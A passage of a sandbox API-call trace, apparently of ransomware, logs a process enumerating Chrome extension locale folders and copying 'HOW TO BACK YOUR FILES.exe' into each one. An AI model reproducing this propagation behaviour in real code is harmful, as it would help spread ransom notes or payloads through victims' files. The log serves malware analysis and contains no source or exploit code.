	[0050.167] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\it\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85a1cb30, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x35f8d890, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x35f8d890, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca410
	[0050.167] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0050.167] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0050.167] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\id", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\id") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\id"
	[0050.167] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\id" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\id") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\id"
	[0050.167] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0050.167] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\id\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\id\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0050.172] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0050.172] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\id\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85a1cb30, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x35f8d890, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x35f8d890, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca410
	[0050.172] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0050.172] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0050.172] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hu", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hu") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hu"
	[0050.172] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hu" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hu") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hu"
	[0050.172] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0050.172] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hu\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hu\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0050.176] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0050.176] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hu\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85a1cb30, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x35fb39f0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x35fb39f0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca410
	[0050.176] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0050.176] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0050.177] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hi", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hi") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hi"
	[0050.177] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hi" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hi") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hi"
	[0050.177] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0050.177] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hi\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hi\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0050.181] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0050.181] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hi\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85a1cb30, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x35fb39f0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x35fb39f0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca410
	[0050.182] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0050.182] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0050.182] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\he", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\he") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\he"
	[0050.182] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\he" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\he") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\he"
	[0050.182] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0050.182] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\he\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\he\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0050.190] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0050.190] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\he\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x859f69d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x35fb39f0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x35fb39f0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca410
	[0050.190] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0050.190] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0050.190] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fr", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fr") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fr"
	[0050.190] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fr" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fr") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fr"
	[0050.191] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0050.191] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fr\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fr\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0050.195] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0050.195] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fr\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x859f69d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x35fd9b50, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x35fd9b50, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca410
	[0050.195] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0050.195] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0050.195] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fil", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fil") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fil"
	[0050.195] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fil" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fil") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fil"
	[0050.195] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0050.195] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fil\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fil\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0050.199] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0050.199] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fil\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x859f69d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x35fd9b50, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x35fd9b50, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca410
	[0050.200] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0050.200] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0050.200] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fi", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fi") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fi"
	[0050.200] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fi" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fi") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fi"
	[0050.200] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0050.200] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fi\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fi\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0050.204] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0050.204] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fi\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x859d0870, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x35fd9b50, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x35fd9b50, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca410
	[0050.205] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0050.205] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0050.205] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\et", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\et") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\et"
	[0050.205] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\et" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\et") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\et"
	[0050.205] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0050.205] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\et\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\et\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0050.209] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0050.209] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\et\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x859d0870, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x35fffcb0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x35fffcb0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca410
	[0050.209] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0050.209] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0050.209] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es_419", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es_419") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es_419"
	[0050.209] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es_419" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es_419") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es_419"
	[0050.209] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
